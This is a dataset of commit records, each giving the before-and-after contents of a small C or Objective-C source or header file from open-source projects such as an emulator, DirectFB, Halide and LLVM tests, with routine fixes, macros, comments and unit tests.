{"commit":"50c4ea79c8ba7f43cf0c47b8670824d0e60597ce","old_file":"crater.c","new_file":"crater.c","old_contents":"\/* Copyright (C) 2014-2015 Ben Kurtovic <ben.kurtovic@gmail.com>\n   Released under the terms of the MIT License. See LICENSE for details. *\/\n\n#include <stdlib.h>\n\n#include \"src\/config.h\"\n#include \"src\/logging.h\"\n#include \"src\/rom.h\"\n\n\/*\n    Main function.\n*\/\nint main(int argc, char *argv[])\n{\n    Config *config;\n    ROM *rom;\n    int retval;\n\n    retval = config_create(&config, argc, argv);\n    if (retval != CONFIG_OK)\n        return retval == CONFIG_EXIT_SUCCESS ? EXIT_SUCCESS : EXIT_FAILURE;\n\n    printf(\"crater: a Sega Game Gear emulator\\n\\n\");\n\n#ifdef DEBUG_MODE\n    config_dump_args(config);\n#endif\n\n    if (!(rom = rom_open(config->rom_path))) {\n        if (errno == ENOMEM)\n            OUT_OF_MEMORY()\n        else\n            FATAL_ERRNO(\"couldn't load ROM image '%s'\", config->rom_path)\n    }\n    printf(\"Loaded ROM image: %s.\\n\", rom->name);\n\n    \/\/ TODO: start from here\n\n    rom_close(rom);\n    config_destroy(config);\n    return EXIT_SUCCESS;\n}\n","new_contents":"\/* Copyright (C) 2014-2015 Ben Kurtovic <ben.kurtovic@gmail.com>\n   Released under the terms of the MIT License. See LICENSE for details. *\/\n\n#include <stdlib.h>\n\n#include \"src\/config.h\"\n#include \"src\/logging.h\"\n#include \"src\/rom.h\"\n\n\/*\n    Main function.\n*\/\nint main(int argc, char *argv[])\n{\n    Config *config;\n    int retval;\n\n    retval = config_create(&config, argc, argv);\n    if (retval != CONFIG_OK)\n        return retval == CONFIG_EXIT_SUCCESS ? EXIT_SUCCESS : EXIT_FAILURE;\n\n#ifdef DEBUG_MODE\n    config_dump_args(config);\n#endif\n\n    if (config->assemble) {\n        printf(\"Running assembler: %s -> %s.\\n\",config->src_path, config->dst_path);\n    } else if (config->disassemble) {\n        printf(\"Running disassembler: %s -> %s.\\n\", config->src_path, config->dst_path);\n    } else {\n        ROM *rom;\n\n        printf(\"crater: a Sega Game Gear emulator\\n\\n\");\n        if (!(rom = rom_open(config->rom_path))) {\n            if (errno == ENOMEM)\n                OUT_OF_MEMORY()\n            else\n                FATAL_ERRNO(\"couldn't load ROM image '%s'\", config->rom_path)\n        }\n        printf(\"Loaded ROM image: %s.\\n\", rom->name);\n\n        \/\/ TODO: start from here\n        rom_close(rom);\n    }\n\n    config_destroy(config);\n    return EXIT_SUCCESS;\n}\n","subject":"Call different stuff for the assembler\/disassembler.","message":"Call different stuff for the assembler\/disassembler.\n","lang":"C","license":"mit","repos":"earwig\/crater,earwig\/crater,earwig\/crater,earwig\/crater"}
{"commit":"0319204b74cf182ffe0670e51154bd14b3510dc7","old_file":"include\/flatcc\/portable\/pwarnings.h","new_file":"include\/flatcc\/portable\/pwarnings.h","old_contents":"#ifndef PWARNINGS_H\n#define PWARNINGS_H\n\n#if defined(_MSC_VER)\n\/* Needed when flagging code in or out and more. *\/\n#pragma warning(disable: 4127) \/* conditional expression is constant *\/\n\/* happens also in MS's own headers. *\/\n#pragma warning(disable: 4668) \/* preprocessor name not defined *\/\n\/* MSVC does not respect double parenthesis for intent *\/\n#pragma warning(disable: 4706) \/* assignment within conditional expression *\/\n\/* `inline` only advisory anyway. *\/\n#pragma warning(disable: 4710) \/* function not inlined *\/\n\/* Well, we don't intend to add the padding manually. *\/\n#pragma warning(disable: 4820) \/* x bytes padding added in struct *\/\n\n\/* Define this in the build as `-D_CRT_SECURE_NO_WARNINGS`, it has no effect here. *\/\n\/* #define _CRT_SECURE_NO_WARNINGS don't warn that fopen etc. are unsafe *\/\n\n\/*\n * Anonymous union in struct is valid in C11 and has been supported in\n * GCC and Clang for a while, but it is not C99. MSVC also handles it,\n * but warns. Truly portable code should perhaps not use this feature,\n * but this is not the place to complain about it.\n *\/\n#pragma warning(disable: 4201) \/* nonstandard extension used: nameless struct\/union *\/\n#endif\n\n#endif PWARNINGS_H\n","new_contents":"#ifndef PWARNINGS_H\n#define PWARNINGS_H\n\n#if defined(_MSC_VER)\n\/* Needed when flagging code in or out and more. *\/\n#pragma warning(disable: 4127) \/* conditional expression is constant *\/\n\/* happens also in MS's own headers. *\/\n#pragma warning(disable: 4668) \/* preprocessor name not defined *\/\n\/* MSVC does not respect double parenthesis for intent *\/\n#pragma warning(disable: 4706) \/* assignment within conditional expression *\/\n\/* `inline` only advisory anyway. *\/\n#pragma warning(disable: 4710) \/* function not inlined *\/\n\/* Well, we don't intend to add the padding manually. *\/\n#pragma warning(disable: 4820) \/* x bytes padding added in struct *\/\n\n\/* Define this in the build as `-D_CRT_SECURE_NO_WARNINGS`, it has no effect here. *\/\n\/* #define _CRT_SECURE_NO_WARNINGS don't warn that fopen etc. are unsafe *\/\n\n\/*\n * Anonymous union in struct is valid in C11 and has been supported in\n * GCC and Clang for a while, but it is not C99. MSVC also handles it,\n * but warns. Truly portable code should perhaps not use this feature,\n * but this is not the place to complain about it.\n *\/\n#pragma warning(disable: 4201) \/* nonstandard extension used: nameless struct\/union *\/\n#endif\n\n#endif \/* PWARNINGS_H *\/\n","subject":"Fix warning in header disabling some warnings (sigh)","message":"Fix warning in header disabling some warnings (sigh)\n","lang":"C","license":"apache-2.0","repos":"skhoroshavin\/flatcc,skhoroshavin\/flatcc,skhoroshavin\/flatcc,dvidelabs\/flatcc,dvidelabs\/flatcc,dvidelabs\/flatcc"}
{"commit":"8ab76006de60ad761be1528e75f7e9898270c1f9","old_file":"include\/dfb_types.h","new_file":"include\/dfb_types.h","old_contents":"#ifndef __DFB_TYPES_H__\n#define __DFB_TYPES_H__\n\n\n#ifdef USE_KOS\n\n#include <sys\/types.h>\n\ntypedef uint8 u8;\ntypedef uint16 u16;\ntypedef uint32 u32;\ntypedef uint64 u64;\n\ntypedef sint8 s8;\ntypedef sint16 s16;\ntypedef sint32 s32;\ntypedef sint64 s64;\n\n#else\n\n#include <stdint.h>\n\ntypedef uint8_t u8;\ntypedef uint16_t u16;\ntypedef uint32_t u32;\ntypedef uint64_t u64;\n\ntypedef int8_t s8;\ntypedef int16_t s16;\ntypedef int32_t s32;\ntypedef int64_t s64;\n\n#endif\n\n#endif\n","new_contents":"#ifndef __DFB_TYPES_H__\n#define __DFB_TYPES_H__\n\n\n#ifdef USE_KOS\n\n#include <sys\/types.h>\n\ntypedef uint8 u8;\ntypedef uint16 u16;\ntypedef uint32 u32;\ntypedef uint64 u64;\n\ntypedef sint8 s8;\ntypedef sint16 s16;\ntypedef sint32 s32;\ntypedef sint64 s64;\n\n#else\n\n#include <stdint.h>\n\ntypedef uint8_t u8;\ntypedef uint16_t u16;\ntypedef uint32_t u32;\ntypedef uint64_t u64;\n\ntypedef int8_t s8;\ntypedef int16_t s16;\ntypedef int32_t s32;\ntypedef int64_t s64;\n\n#endif\n\n#ifndef DIRECTFB_NO_CRUFT\n#define __u8   u8\n#define __u16  u16\n#define __u32  u32\n#define __u64  u64\n#define __s8   s8\n#define __s16  s16\n#define __s32  s32\n#define __s64  s64\n#endif\n\n#endif\n","subject":"Define compatibility macros for __ types unless DIRECTFB_NO_CRUFT is defined.","message":"Define compatibility macros for __ types unless DIRECTFB_NO_CRUFT is defined.\n","lang":"C","license":"lgpl-2.1","repos":"dfbdok\/DirectFB1,dfbdok\/DirectFB1,mtsekm\/test,deniskropp\/DirectFB,kevleyski\/directfb,kevleyski\/DirectFB-1,deniskropp\/DirectFB,deniskropp\/DirectFB,mtsekm\/test,lancebaiyouview\/DirectFB,kaostao\/directfb,lancebaiyouview\/DirectFB,djbclark\/directfb-core-DirectFB,djbclark\/directfb-core-DirectFB,djbclark\/directfb-core-DirectFB,Distrotech\/DirectFB,sklnet\/DirectFB,lancebaiyouview\/DirectFB,Distrotech\/DirectFB,kaostao\/directfb,Distrotech\/DirectFB,kaostao\/directfb,sklnet\/DirectFB,kevleyski\/directfb,sklnet\/DirectFB,mtsekm\/test,kevleyski\/directfb,kevleyski\/DirectFB-1,djbclark\/directfb-core-DirectFB,jcdubois\/DirectFB,dfbdok\/DirectFB1,DirectFB\/directfb,kevleyski\/DirectFB-1,jcdubois\/DirectFB,deniskropp\/DirectFB,kevleyski\/directfb,jcdubois\/DirectFB,DirectFB\/directfb,DirectFB\/directfb,lancebaiyouview\/DirectFB,sklnet\/DirectFB,kevleyski\/DirectFB-1"}
{"commit":"5c80c5e640d0fcb238cd3b9546c3a33edf7ca45c","old_file":"tests\/dcpu-testing.c","new_file":"tests\/dcpu-testing.c","old_contents":"int test(int a, int b, int c, int d, int e);\n\ntypedef (*funcCall)();\n\nshort array = {0x61c1};\n\nint main()\n{\n\t((funcCall)array)();\n\n\treturn test(1, 2, 3, 4, 5);\n}\n\nint test(int a, int b, int c, int d, int e)\n{\n\treturn (e + (a + b + c) * a \/ d) + (a * 6);\n}\n","new_contents":"int test(int a, int b, int c, int d, int e);\n\ntypedef (*funcCall)();\n\nshort array = {0x61c1};\n\nint main()\n{\n\t((funcCall)array)();\n\n\tint some_var = 3;\n\n\tint ret = test(1, 2, 3, 4, 5);\n\n\treturn some_var + ret;\n}\n\nint foo(int a)\n{\n\treturn 9 + a;\n}\n\nint test(int a, int b, int c, int d, int e)\n{\n\ta = foo(a);\n\treturn ((a  + b + c) * d \/ a) + (d * e);\n}\n","subject":"Make example a bit more advanced","message":"Make example a bit more advanced\n","lang":"C","license":"lgpl-2.1","repos":"Wallbraker\/DCPU-TCC,Wallbraker\/DCPU-TCC,Wallbraker\/DCPU-TCC"}
{"commit":"9ef6cf64a9fff87a5e2135fd831e5586f38b0d6d","old_file":"Applications\/Simple\/FragariaAppDelegate.h","new_file":"Applications\/Simple\/FragariaAppDelegate.h","old_contents":"\/\/\n\/\/  FragariaAppDelegate.h\n\/\/  Fragaria\n\/\/\n\/\/  Created by Jonathan on 30\/04\/2010.\n\/\/  Copyright 2010 mugginsoft.com. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import <MGSFragaria\/MGSFragariaTextViewDelegate.h>\n#import <MGSFragaria\/SMLSyntaxColouringDelegate.h>\n\n@class SMLTextView;\n@class MGSFragaria;\n@class MGSSimpleBreakpointDelegate;\n\n@interface FragariaAppDelegate : NSObject <NSApplicationDelegate, MGSFragariaTextViewDelegate, SMLSyntaxColouringDelegate>\n\n- (IBAction)showPreferencesWindow:(id)sender;\n- (IBAction)copyToPasteBoard:(id)sender;\n- (IBAction)reloadString:(id)sender;\n\n@property (weak) IBOutlet NSWindow *window;\n\n@property (weak) IBOutlet NSView *editView;\n\n@property (nonatomic,assign) NSString *syntaxDefinition;\n\n\n@end\n","new_contents":"\/\/\n\/\/  FragariaAppDelegate.h\n\/\/  Fragaria\n\/\/\n\/\/  Created by Jonathan on 30\/04\/2010.\n\/\/  Copyright 2010 mugginsoft.com. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import <MGSFragaria\/MGSFragariaTextViewDelegate.h>\n#import <MGSFragaria\/SMLSyntaxColouringDelegate.h>\n#import <MGSFragaria\/MGSDragOperationDelegate.h>\n\n@class SMLTextView;\n@class MGSFragaria;\n@class MGSSimpleBreakpointDelegate;\n\n@interface FragariaAppDelegate : NSObject <NSApplicationDelegate, MGSFragariaTextViewDelegate, SMLSyntaxColouringDelegate, MGSDragOperationDelegate>\n\n- (IBAction)showPreferencesWindow:(id)sender;\n- (IBAction)copyToPasteBoard:(id)sender;\n- (IBAction)reloadString:(id)sender;\n\n@property (weak) IBOutlet NSWindow *window;\n\n@property (weak) IBOutlet NSView *editView;\n\n@property (nonatomic,assign) NSString *syntaxDefinition;\n\n\n@end\n","subject":"Fix simple example delegate's protocol compliance.","message":"Fix simple example delegate's protocol compliance.\n","lang":"C","license":"apache-2.0","repos":"vakoc\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,bitstadium\/Fragaria,shysaur\/Fragaria,vakoc\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria,bitstadium\/Fragaria,shysaur\/Fragaria,shysaur\/Fragaria"}
{"commit":"1a3e5dcc47629e1707191ab1641a89be5eb1328b","old_file":"src\/storage\/module.h","new_file":"src\/storage\/module.h","old_contents":"\/*\n * waysome - wayland based window manager\n *\n * Copyright in alphabetical order:\n *\n * Copyright (C) 2014-2015 Julian Ganz\n * Copyright (C) 2014-2015 Manuel Messner\n * Copyright (C) 2014-2015 Marcel Müller\n * Copyright (C) 2014-2015 Matthias Beyer\n * Copyright (C) 2014-2015 Nadja Sommerfeld\n *\n * This file is part of waysome.\n *\n * waysome is free software: you can redistribute it and\/or modify it under the\n * terms of the GNU Lesser General Public License as published by the Free\n * Software Foundation, either version 2.1 of the License, or (at your option)\n * any later version.\n *\n * waysome is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n * A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more\n * details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with waysome. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef __WS_STORAGE_MODULE_H__\n#define __WS_STORAGE_MODULE_H__\n\n\n\n#endif \/\/ __WS_STORAGE_MODULE_H__\n","new_contents":"\/*\n * waysome - wayland based window manager\n *\n * Copyright in alphabetical order:\n *\n * Copyright (C) 2014-2015 Julian Ganz\n * Copyright (C) 2014-2015 Manuel Messner\n * Copyright (C) 2014-2015 Marcel Müller\n * Copyright (C) 2014-2015 Matthias Beyer\n * Copyright (C) 2014-2015 Nadja Sommerfeld\n *\n * This file is part of waysome.\n *\n * waysome is free software: you can redistribute it and\/or modify it under the\n * terms of the GNU Lesser General Public License as published by the Free\n * Software Foundation, either version 2.1 of the License, or (at your option)\n * any later version.\n *\n * waysome is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n * A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more\n * details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with waysome. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\/**\n * @addtogroup storage \"Storage\"\n *\n * @{\n *\/\n\n#ifndef __WS_STORAGE_MODULE_H__\n#define __WS_STORAGE_MODULE_H__\n\n\n\n#endif \/\/ __WS_STORAGE_MODULE_H__\n\n\/**\n * @}\n *\/\n\n","subject":"Add storage files to storage documentation group","message":"Add storage files to storage documentation group\n","lang":"C","license":"lgpl-2.1","repos":"waysome\/waysome,waysome\/waysome"}
{"commit":"e0a5c2288da7d2b7b20e3725e0e060269dbc2be5","old_file":"src\/rtpp_version.h","new_file":"src\/rtpp_version.h","old_contents":"#define RTPP_SW_VERSION \"rel.20140506110718\"\n","new_contents":"\/* IPOLICE_FLAGS: DONT_REMOVE *\/\n\n#define RTPP_SW_VERSION \"rel.20160514172346\"\n","subject":"Add IPOLICE_FLAGS: DONT_REMOVE, bump RTPP_SW_VERSION forward.","message":"Add IPOLICE_FLAGS: DONT_REMOVE, bump RTPP_SW_VERSION forward.\n","lang":"C","license":"bsd-2-clause","repos":"dsanders11\/rtpproxy,synety-jdebp\/rtpproxy,jevonearth\/rtpproxy,synety-jdebp\/rtpproxy,sippy\/rtpproxy,synety-jdebp\/rtpproxy,synety-jdebp\/rtpproxy,jevonearth\/rtpproxy,jevonearth\/rtpproxy,sippy\/rtpproxy,dsanders11\/rtpproxy,dsanders11\/rtpproxy,jevonearth\/rtpproxy,sippy\/rtpproxy"}
{"commit":"b7eefacc5e2fb92cd67098bde440e623075213cd","old_file":"testing\/test_utils.c","new_file":"testing\/test_utils.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <glib.h>\n\n#include \"cem\/utils.h\"\n\n\nstatic void test_set_periodic_multiple_of_4(void) {\n  const int len = 12;\n  int array[12] =    {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11};\n  int expected[12] = {6, 7, 8, 3, 4, 5, 6, 7, 8, 3,  4,  5};\n\n  apply_periodic_boundary(array, sizeof(int), len);\n\n  g_assert_cmpmem(array, len, expected, len);\n}\n\n\nstatic void test_set_periodic_even_width(void) {\n  const int len = 10;\n  int array[10] =    {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\n  int expected[10] = {5, 6, 2, 3, 4, 5, 6, 2, 3, 4};\n\n  apply_periodic_boundary(array, sizeof(int), len);\n\n  g_assert_cmpmem(array, len, expected, len);\n}\n\n\nstatic void test_set_periodic_odd_width(void) {\n  const int len = 11;\n  int array[11] =    {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10};\n  int expected[11] = {5, 6, 7, 3, 4, 5, 6, 7, 3, 4,  5};\n\n  apply_periodic_boundary(array, sizeof(int), len);\n\n  g_assert_cmpmem(array, len, expected, len);\n}\n\n\nint main(int argc, char* argv[]) {\n  g_test_init(&argc, &argv, NULL);\n  g_test_add_func(\"\/cem\/utils\/set_periodic_4\", &test_set_periodic_multiple_of_4);\n  g_test_add_func(\"\/cem\/utils\/set_periodic_even\", &test_set_periodic_even_width);\n  g_test_add_func(\"\/cem\/utils\/set_periodic_odd\", &test_set_periodic_odd_width);\n\n  return g_test_run();\n}\n","subject":"Add unit tests for utils.c functions.","message":"Add unit tests for utils.c functions.\n","lang":"C","license":"mit","repos":"csdms-contrib\/cem"}
{"commit":"b3590333382a99d18cc057bc509052629f21e87a","old_file":"chrome\/common\/notification_observer.h","new_file":"chrome\/common\/notification_observer.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\r\n\/\/ Use of this source code is governed by a BSD-style license that can be\r\n\/\/ found in the LICENSE file.\r\n\r\n#ifndef CHROME_COMMON_NOTIFICATION_OBSERVER_H_\r\n#define CHROME_COMMON_NOTIFICATION_OBSERVER_H_\r\n\r\nclass NotificationDetails;\r\nclass NotificationSource;\r\nclass NotificationType;\r\n\r\n\/\/ This is the base class for notification observers. When a matching\r\n\/\/ notification is posted to the notification service, Observe is called.\r\nclass NotificationObserver {\r\n public:\r\n  virtual ~NotificationObserver();\r\n\r\n  virtual void Observe(NotificationType type,\r\n                       const NotificationSource& source,\r\n                       const NotificationDetails& details) = 0;\r\n};\r\n\r\n#endif  \/\/ CHROME_COMMON_NOTIFICATION_OBSERVER_H_\r\n","subject":"Add forgotted notification observer header.","message":"Add forgotted notification observer header.\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@9021 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"f651d51d97b75f12ba68f1cbfca914724136d121","old_file":"tools\/halide_image.h","new_file":"tools\/halide_image.h","old_contents":"#ifndef HALIDE_TOOLS_IMAGE_H\n#define HALIDE_TOOLS_IMAGE_H\n\n\/*\n\nThis allows code that relied on halide_image.h and Halide::Tools::Image to\ncontinue to work with newer versions of Halide where HalideBuffer.h and\nHalide::Buffer are the way to work with data.\n\nBesides mapping Halide::Tools::Image to Halide::Buffer, it defines\nUSING_HALIDE_BUFFER to allow code to conditionally compile for one or the\nother.\n\nIt is intended as a stop-gap measure until the code can be updated.\n\n*\/\n\n#include \"HalideBuffer.h\"\n\nnamespace Halide {\nnamespace Tools {\n\n#define USING_HALIDE_BUFFER\n\ntemplate< typename T >\nusing Image = Buffer<T>;\n\n}   \/\/ namespace Tools\n}   \/\/ mamespace Halide\n\n#endif  \/\/ #ifndef HALIDE_TOOLS_IMAGE_H\n","new_contents":"#ifndef HALIDE_TOOLS_IMAGE_H\n#define HALIDE_TOOLS_IMAGE_H\n\n\/** \\file\n *\n * This allows code that relied on halide_image.h and\n * Halide::Tools::Image to continue to work with newer versions of\n * Halide where HalideBuffer.h and Halide::Buffer are the way to work\n * with data.\n *\n * Besides mapping Halide::Tools::Image to Halide::Buffer, it defines\n * USING_HALIDE_BUFFER to allow code to conditionally compile for one\n * or the other.\n *\n * It is intended as a stop-gap measure until the code can be updated.\n *\/\n\n#include \"HalideBuffer.h\"\n\nnamespace Halide {\nnamespace Tools {\n\n#define USING_HALIDE_BUFFER\n\ntemplate< typename T >\nusing Image = Buffer<T>;\n\n}   \/\/ namespace Tools\n}   \/\/ mamespace Halide\n\n#endif  \/\/ #ifndef HALIDE_TOOLS_IMAGE_H\n","subject":"Reformat comment into Doxygen comment for file.","message":"Reformat comment into Doxygen comment for file.\n","lang":"C","license":"mit","repos":"kgnk\/Halide,kgnk\/Halide,psuriana\/Halide,psuriana\/Halide,kgnk\/Halide,kgnk\/Halide,psuriana\/Halide,psuriana\/Halide,kgnk\/Halide,kgnk\/Halide,psuriana\/Halide,psuriana\/Halide,kgnk\/Halide,psuriana\/Halide,kgnk\/Halide"}
{"commit":"cacbf0ecd02835adb555a9d64294e3ae987d918d","old_file":"GoogleMaps\/GoogleMapsDemos\/SDKDemoAPIKey.h","new_file":"GoogleMaps\/GoogleMapsDemos\/SDKDemoAPIKey.h","old_contents":"\/*\n * Copyright 2016 Google LLC. All rights reserved.\n *\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this\n * file except in compliance with the License. You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software distributed under\n * the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n * ANY KIND, either express or implied. See the License for the specific language governing\n * permissions and limitations under the License.\n *\/\n\n\/**\n * To use GoogleMapsDemos, please register an API Key for your application and set it here. Your\n * API Key should be kept private.\n *\n * See documentation on getting an API Key for your API Project here:\n * https:\/\/developers.google.com\/maps\/documentation\/ios\/start#get-key\n *\/\n\n\/\/#error Register for API Key and insert here. Then delete this line.\nstatic NSString *const kAPIKey = @\";ajlksdf\";\n","new_contents":"\/*\n * Copyright 2016 Google LLC. All rights reserved.\n *\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this\n * file except in compliance with the License. You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software distributed under\n * the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n * ANY KIND, either express or implied. See the License for the specific language governing\n * permissions and limitations under the License.\n *\/\n\n\/**\n * To use GoogleMapsDemos, please register an API Key for your application and set it here. Your\n * API Key should be kept private.\n *\n * See documentation on getting an API Key for your API Project here:\n * https:\/\/developers.google.com\/maps\/documentation\/ios\/start#get-key\n *\/\n\n#error Register for API Key and insert here. Then delete this line.\nstatic NSString *const kAPIKey = @\"\";\n","subject":"Use empty string as the default kAPIKey","message":"fix: Use empty string as the default kAPIKey","lang":"C","license":"apache-2.0","repos":"googlemaps\/maps-sdk-for-ios-samples,googlemaps\/maps-sdk-for-ios-samples,googlemaps\/maps-sdk-for-ios-samples,googlemaps\/maps-sdk-for-ios-samples"}
{"commit":"531ec1e7a2330a76ef7168167f42440cc88fbfd5","old_file":"test\/CFrontend\/2007-06-18-SextAttrAggregate.c","new_file":"test\/CFrontend\/2007-06-18-SextAttrAggregate.c","old_contents":"\/\/ RUN: llvm-gcc %s -o - -S -emit-llvm -O3 | grep {i8 sext}\n\/\/ PR1513\n\nstruct s{\nlong a;\nlong b;\n};\n\nvoid f(struct s a, char *b, char C) {\n\n}\n","new_contents":"\/\/ RUN: %llvmgcc %s -o - -S -emit-llvm -O3 | grep {i8 sext}\n\/\/ PR1513\n\nstruct s{\nlong a;\nlong b;\n};\n\nvoid f(struct s a, char *b, char C) {\n\n}\n","subject":"Fix this test to not rely on the path but to use the configured llvm-gcc instead.","message":"Fix this test to not rely on the path but to use the\nconfigured llvm-gcc instead.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@39992 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap"}
{"commit":"755fb0f25342c7ebd8df2c736e46a812d2408f91","old_file":"Pod\/Classes\/PINRemoteImageMacros.h","new_file":"Pod\/Classes\/PINRemoteImageMacros.h","old_contents":"\/\/\n\/\/  PINRemoteImageMacros.h\n\/\/  PINRemoteImage\n\/\/\n\/\/  Created by Brian Dorfman on 10\/15\/15.\n\/\/  Copyright © 2015 Pinterest. All rights reserved.\n\/\/\n\n#ifndef PINRemoteImageMacros_h\n#define PINRemoteImageMacros_h\n\n#define PINRemoteImageLogging                0\n#if PINRemoteImageLogging\n#define PINLog(args...) NSLog(args)\n#else\n#define PINLog(args...)\n#endif\n\n#if __has_include(<FLAnimatedImage\/FLAnimatedImage.h>)\n#define USE_FLANIMATED_IMAGE    1\n#else\n#define USE_FLANIMATED_IMAGE    0\n#define FLAnimatedImage NSObject\n#endif\n\n#define BlockAssert(condition, desc, ...)\t\\\ndo {\t\t\t\t\\\n__PRAGMA_PUSH_NO_EXTRA_ARG_WARNINGS \\\nif (!(condition)) {\t\t\\\n[[NSAssertionHandler currentHandler] handleFailureInMethod:_cmd \\\nobject:strongSelf file:[NSString stringWithUTF8String:__FILE__] \\\nlineNumber:__LINE__ description:(desc), ##__VA_ARGS__]; \\\n}\t\t\t\t\\\n__PRAGMA_POP_NO_EXTRA_ARG_WARNINGS \\\n} while(0);\n\n#endif \/* PINRemoteImageMacros_h *\/\n","new_contents":"\/\/\n\/\/  PINRemoteImageMacros.h\n\/\/  PINRemoteImage\n\/\/\n\n#ifndef PINRemoteImageMacros_h\n#define PINRemoteImageMacros_h\n\n#define PINRemoteImageLogging                0\n#if PINRemoteImageLogging\n#define PINLog(args...) NSLog(args)\n#else\n#define PINLog(args...)\n#endif\n\n#if __has_include(<FLAnimatedImage\/FLAnimatedImage.h>)\n#define USE_FLANIMATED_IMAGE    1\n#else\n#define USE_FLANIMATED_IMAGE    0\n#define FLAnimatedImage NSObject\n#endif\n\n#define BlockAssert(condition, desc, ...)\t\\\ndo {\t\t\t\t\\\n__PRAGMA_PUSH_NO_EXTRA_ARG_WARNINGS \\\nif (!(condition)) {\t\t\\\n[[NSAssertionHandler currentHandler] handleFailureInMethod:_cmd \\\nobject:strongSelf file:[NSString stringWithUTF8String:__FILE__] \\\nlineNumber:__LINE__ description:(desc), ##__VA_ARGS__]; \\\n}\t\t\t\t\\\n__PRAGMA_POP_NO_EXTRA_ARG_WARNINGS \\\n} while(0);\n\n#endif \/* PINRemoteImageMacros_h *\/\n","subject":"Remove my name from xcode's auto gen header template","message":"Remove my name from xcode's auto gen header template\n","lang":"C","license":"apache-2.0","repos":"pinterest\/PINRemoteImage,pinterest\/PINRemoteImage,pinterest\/PINRemoteImage,pinterest\/PINRemoteImage"}
{"commit":"6a4888c54b31429442078f2bd804f0714b9e629d","old_file":"button.h","new_file":"button.h","old_contents":"\/* Manages interaction with the buttons *\/\n#ifndef BUTTON_H\n#define BUTTON_H\n\nconst unsigned char BUTTON_NONE = 100;\n\nbool button_isPressed(int buttonNumber);\nvoid button_wait(int buttonNumber);\nvoid button_ISR();\n\n#endif\n","new_contents":"\/* Manages interaction with the buttons *\/\n#ifndef BUTTON_H\n#define BUTTON_H\n\n#include <Arduino.h>\n\nconst unsigned char BUTTON_NONE = 100;\n\nbool button_isPressed(uint8_t buttonNumber);\nvoid button_wait(uint8_t buttonNumber);\nvoid button_ISR();\n\n#endif\n","subject":"Fix header to be the same as cpp","message":"Fix header to be the same as cpp\n","lang":"C","license":"mit","repos":"SUPERETDUPER\/bolt-arduino"}
